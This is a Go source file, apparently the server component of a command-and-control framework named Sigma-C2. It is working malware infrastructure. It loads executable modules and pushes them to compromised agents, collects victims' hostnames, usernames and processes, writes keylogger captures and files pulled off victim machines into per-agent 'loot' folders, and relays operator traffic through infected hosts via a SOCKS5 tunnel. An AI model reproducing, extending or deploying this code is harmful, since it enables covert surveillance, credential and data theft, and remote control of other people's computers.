Files
Sigma-C2/server/agent_modules.go

511 lines
13 KiB
Go

package main
import (
"bytes"
"fmt"
"io"
"io/fs"
"log"
"net"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
"text/tabwriter"
"time"
"unicode/utf8"
)
type Module struct {
Name string // Module name (e.g., "print.exe")
Type string // Module type (e.g., "exe", "dll", "bin")
Path string // File path to the module
Description string // Description of the module
}
// Map that will hold modules/exploits
var modules = make(map[string]Module)
// Load modules from directory
func InitModules() error {
// Clear existing modules
modules = make(map[string]Module)
modulesDir := "./modules"
// Check if modules directory exists
if _, err := os.Stat(modulesDir); os.IsNotExist(err) {
return fmt.Errorf("modules directory does not exist: %s", modulesDir)
}
// Walk through the modules directory
err := filepath.Walk(modulesDir, func(path string, info fs.FileInfo, err error) error {
if err != nil {
return err
}
// Skip directories
if info.IsDir() {
return nil
}
// Get file extension as module type
fileName := info.Name()
fileExt := strings.TrimPrefix(filepath.Ext(fileName), ".")
// Only process supported module types
if fileExt != "exe" && fileExt != "dll" && fileExt != "bin" {
debugLog("Skipping unsupported file type: %s", path)
return nil
}
// Read description from accompanying .desc file if it exists
descPath := strings.TrimSuffix(path, filepath.Ext(path)) + ".desc"
description := "No description available"
if descData, err := os.ReadFile(descPath); err == nil {
description = strings.TrimSpace(string(descData))
}
// Create and add the module
module := Module{
Name: fileName,
Type: fileExt,
Path: path,
Description: description,
}
modules[fileName] = module
debugLog("Loaded module: %s (%s)", fileName, path)
return nil
})
if err != nil {
return fmt.Errorf("error walking modules directory: %v", err)
}
infoLog("Loaded %d modules from %s", len(modules), modulesDir)
return nil
}
// Handle information about system received from agent
func HandleSystemInfo(agentID, agentIP, sysInfo string) {
infoLog("Received system info from agent %s ", agentID)
messageParts := strings.Split(sysInfo, "|")
if len(messageParts) < 7 {
debugLog("Not enough parts in sysinfo")
return
}
newInfo := &AgentInfo{
OSVersion: messageParts[0],
Architecture: messageParts[1],
Hostname: messageParts[2],
Username: messageParts[3],
LocalIP: messageParts[4],
Procname: messageParts[5],
PID: messageParts[6],
}
newInfo.LastConnection = time.Now()
newInfo.RemoteIP = agentIP
UpdateAgent(agentID, newInfo)
}
// Formats the raw CSV process data into a nice output
func FormatProcessListOutput(agentID, rawData, taskID string) {
// Create a buffer for our formatted output
var buffer bytes.Buffer
// Create a tabwriter that will handle the column alignment
w := tabwriter.NewWriter(&buffer, 0, 0, 2, ' ', 0)
// Print a header banner
buffer.WriteString("\n[*] Process List\n")
buffer.WriteString("===============\n\n")
// Write the table header
fmt.Fprintln(w, "PID\tPPID\tName\tArch\tUser")
fmt.Fprintln(w, "---\t----\t----\t----\t----")
// Split the raw data into lines
lines := strings.Split(strings.TrimSpace(rawData), "\n")
// Process count
processCount := 0
// Parse each line and format it
for _, line := range lines {
// Skip empty lines
if len(line) == 0 {
continue
}
// Split the CSV line
parts := strings.Split(line, ",")
if len(parts) >= 5 {
pid := parts[0]
ppid := parts[1]
name := parts[2]
arch := parts[3]
user := parts[4]
// Format the line
fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%s\n", pid, ppid, name, arch, user)
processCount++
}
}
// Flush the tabwriter
w.Flush()
// Add a summary at the end
buffer.WriteString(fmt.Sprintf("\n[+] Found %d processes\n", processCount))
operatorConn, exists := taskHandler.GetOperatorConnByTaskID(agentID, taskID)
if exists {
operatorConn.Write([]byte(buffer.Bytes()))
}
}
// Prepare and send encrypted module
func SendModule(agentConn net.Conn, agentID string, task *Task) {
debugLog("Initiating module transfer")
payloadSize := len(task.Payload)
debugLog("Preparing to send module. Size: %d bytes", payloadSize)
const MaxPayloadSize = 10 * 1024 * 1024 // 10 MB
if payloadSize > MaxPayloadSize {
debugLog("Payload size exceeds maximum allowed limit: %d bytes", payloadSize)
return
}
// Waiting for confirmation from agent
msg := make([]byte, 512)
agentConn.SetReadDeadline(time.Now().Add(5 * time.Second))
n, err := agentConn.Read(msg)
if err != nil {
debugLog("Error or timeout reading ACK message during module transfer %s: %v", agentID, err)
return
}
ack_msg := strings.TrimSpace(string(msg[:n]))
if ack_msg != "ACK" {
debugLog("Unknown message during module transfer:%s", ack_msg)
return
}
debugLog("Received ACK from agent, sending module data")
bytesSent := 0
for bytesSent < payloadSize {
n, err := agentConn.Write(task.Payload[bytesSent:])
if err != nil {
debugLog("Error sending module data: %v", err)
return
}
bytesSent += n
}
debugLog("Module sent successfully to agent %s. Total bytes sent: %d", agentID, bytesSent)
}
// Processes keystrokes and save them to a file
func HandleKeyloggerMessage(agentID string, keystrokes string) {
log.Print("Keystrokes received")
// Sanitize the keystroke data by removing null bytes and invalid UTF-8 characters
keystrokes = strings.ReplaceAll(keystrokes, "\x00", "")
if !utf8.ValidString(keystrokes) {
keystrokes = strings.ToValidUTF8(keystrokes, "?")
}
// Create the loot directory for the agent if it doesn't exist
agentDir := filepath.Join("loot", agentID)
if err := os.MkdirAll(agentDir, 0755); err != nil {
debugLog("Failed to create directory for agent %s: %v\n", agentID, err)
return
}
// Generate the filename using today's date
now := time.Now()
dateStr := now.Format("2006-01-02") // YYYY-MM-DD format
filename := fmt.Sprintf("%s-keystrokes.log", dateStr)
filePath := filepath.Join(agentDir, filename)
// Open the file in append mode, create if it doesn't exist
file, err := os.OpenFile(filePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
debugLog("Failed to open file for agent %s: %v\n", agentID, err)
return
}
defer file.Close()
// Write the sanitized keystrokes to the file
if _, err := file.WriteString(keystrokes + "\n"); err != nil {
debugLog("Failed to write keystrokes for agent %s: %v\n", agentID, err)
}
}
// Process files sent by agent
func ReceiveFile(agentConn net.Conn, agentID string) {
debugLog("File transfer session initiated by agent %s", agentID)
lootPath := filepath.Join("loot", agentID)
for {
// Request metadata for the next file
if _, err := agentConn.Write([]byte("SEND_METADATA")); err != nil {
debugLog("Error sending SEND_METADATA to agent %s: %v", agentID, err)
return
}
// Receive metadata
buffer := make([]byte, 1024)
n, err := agentConn.Read(buffer)
if err != nil {
debugLog("Error reading metadata from agent %s: %v", agentID, err)
return
}
metadata := strings.TrimSpace(string(buffer[:n]))
if metadata == "ENDTRANSFER" {
debugLog("End of file transfer from agent %s", agentID)
return
}
// Parse metadata (size|path)
metaParts := strings.Split(metadata, "|")
if len(metaParts) != 2 {
debugLog("Invalid metadata from agent %s: %s", agentID, metadata)
return
}
fileSizeStr := metaParts[0]
filePath := metaParts[1]
filePath = strings.ReplaceAll(filePath, "\\", "/")
fileSize, err := strconv.ParseInt(fileSizeStr, 10, 64)
if err != nil {
debugLog("Invalid file size from agent %s: %s", agentID, fileSizeStr)
return
}
// Prepare to receive file data
fullFilePath := filepath.Join(lootPath, filePath)
err = os.MkdirAll(filepath.Dir(fullFilePath), os.ModePerm)
if err != nil {
debugLog("Error creating directory for file %s: %v", fullFilePath, err)
return
}
file, err := os.Create(fullFilePath)
if err != nil {
debugLog("Error creating file %s for agent %s: %v", fullFilePath, agentID, err)
return
}
defer file.Close()
// Request file data
if _, err := agentConn.Write([]byte("SEND_DATA")); err != nil {
debugLog("Error sending SEND_DATA to agent %s: %v", agentID, err)
return
}
// Receive file data
debugLog("Receiving file from agent %s: %s (size: %d bytes)", agentID, filePath, fileSize)
var totalBytesWritten int64
buffer = make([]byte, 4096)
for totalBytesWritten < fileSize {
bytesToRead := int64(len(buffer))
if remaining := fileSize - totalBytesWritten; remaining < bytesToRead {
bytesToRead = remaining
}
n, err := agentConn.Read(buffer[:bytesToRead])
if err != nil && err != io.EOF {
debugLog("Error reading file data from agent %s: %v", agentID, err)
return
}
bytesWritten, writeErr := file.Write(buffer[:n])
if writeErr != nil {
debugLog("Error writing file %s for agent %s: %v", fullFilePath, agentID, writeErr)
return
}
totalBytesWritten += int64(bytesWritten)
}
// Notify operators
message := fmt.Sprintf("File saved: %s (total size: %d bytes)", fullFilePath, totalBytesWritten)
log.Print(message)
SendMessageToAllOperators(message)
// Request next file
if _, err := agentConn.Write([]byte("NEXT")); err != nil {
debugLog("Error sending NEXT to agent %s: %v", agentID, err)
return
}
}
}
// Send file to agent
func SendFile(conn net.Conn, localFilePath string, remoteFilePath string) {
log.Println("Waiting for confirmation from agent")
buffer := make([]byte, 4096)
// Wait for "SEND_METADATA"
n, err := conn.Read(buffer)
if err != nil || string(buffer[:n]) != "SEND_METADATA" {
log.Println("Error or unexpected command:", err)
return
}
// Open file and get metadata
file, err := os.Open(localFilePath)
if err != nil {
log.Println("Failed to open file:", err)
return
}
defer file.Close()
stat, err := file.Stat()
if err != nil {
log.Println("Failed to stat file:", err)
return
}
// Send metadata (format: "filesize|filename")
meta := fmt.Sprintf("%d|%s", stat.Size(), remoteFilePath)
if _, err := conn.Write([]byte(meta)); err != nil {
log.Println("Failed to send metadata:", err)
return
}
// Wait for "SEND_DATA"
n, err = conn.Read(buffer)
if err != nil || string(buffer[:n]) != "SEND_DATA" {
log.Println("Expected SEND_DATA, got:", string(buffer[:n]), err)
return
}
// Send file contents
totalSent := int64(0)
for {
n, err := file.Read(buffer)
if err != nil && err != io.EOF {
log.Println("Error reading file:", err)
return
}
if n == 0 {
break
}
if _, err := conn.Write(buffer[:n]); err != nil {
log.Println("Error sending data:", err)
return
}
totalSent += int64(n)
}
debugLog("Sent file: %s (%d bytes)\n", localFilePath, totalSent)
// Wait for "NEXT"
n, err = conn.Read(buffer)
if err != nil || string(buffer[:n]) != "NEXT" {
log.Println("Expected NEXT, got:", string(buffer[:n]), err)
return
}
// Send "END"
if _, err := conn.Write([]byte("END")); err != nil {
log.Println("Failed to send END:", err)
return
}
// Wait for "ENDTRANSFER"
n, err = conn.Read(buffer)
if err != nil {
log.Println("Error waiting for ENDTRANSFER:", err)
return
}
if strings.TrimSpace(string(buffer[:n])) == "ENDTRANSFER" {
log.Println("Transfer successfully completed.")
} else {
log.Println("Unexpected final message:", string(buffer[:n]))
}
}
// SOCKS5 proxy
// listens for agent and client connections on separate ports
func StartRelayServer() error {
// Agent
agentLn, err := net.Listen("tcp", "0.0.0.0:30889")
if err != nil {
return err
}
log.Println("Listening for AGENT on", "0.0.0.0:30889")
// Client
clientLn, err := net.Listen("tcp", "0.0.0.0:30900")
if err != nil {
agentLn.Close()
return err
}
log.Println("Listening for CLIENT on", "0.0.0.0:30900")
go func() {
for {
agentConn, err := agentLn.Accept()
if err != nil {
log.Println("Error accepting client:", err)
continue
}
log.Println("AGENT connected:", agentConn.RemoteAddr())
go handleTunnel(clientLn, agentConn)
}
}()
return nil
}
// SOCKS5 proxy
// Start tunnel
func handleTunnel(clientLn net.Listener, agentConn net.Conn) {
defer agentConn.Close()
log.Println("Waiting for CLIENT...")
clientConn, err := clientLn.Accept()
if err != nil {
log.Println("Error accepting agent:", err)
return
}
log.Println("CLIENT connected:", clientConn.RemoteAddr())
defer clientConn.Close()
var wg sync.WaitGroup
wg.Add(2)
go pipe(&wg, clientConn, agentConn)
go pipe(&wg, agentConn, clientConn)
wg.Wait()
log.Println("Tunnel between client and agent closed.")
}
// Exchange data
func pipe(wg *sync.WaitGroup, src net.Conn, dst net.Conn) {
defer wg.Done()
_, err := io.Copy(dst, src)
if err != nil {
log.Printf("Pipe error: %v", err)
}
// Gracefully close write direction only
if tcpDst, ok := dst.(*net.TCPConn); ok {
tcpDst.CloseWrite()
}
}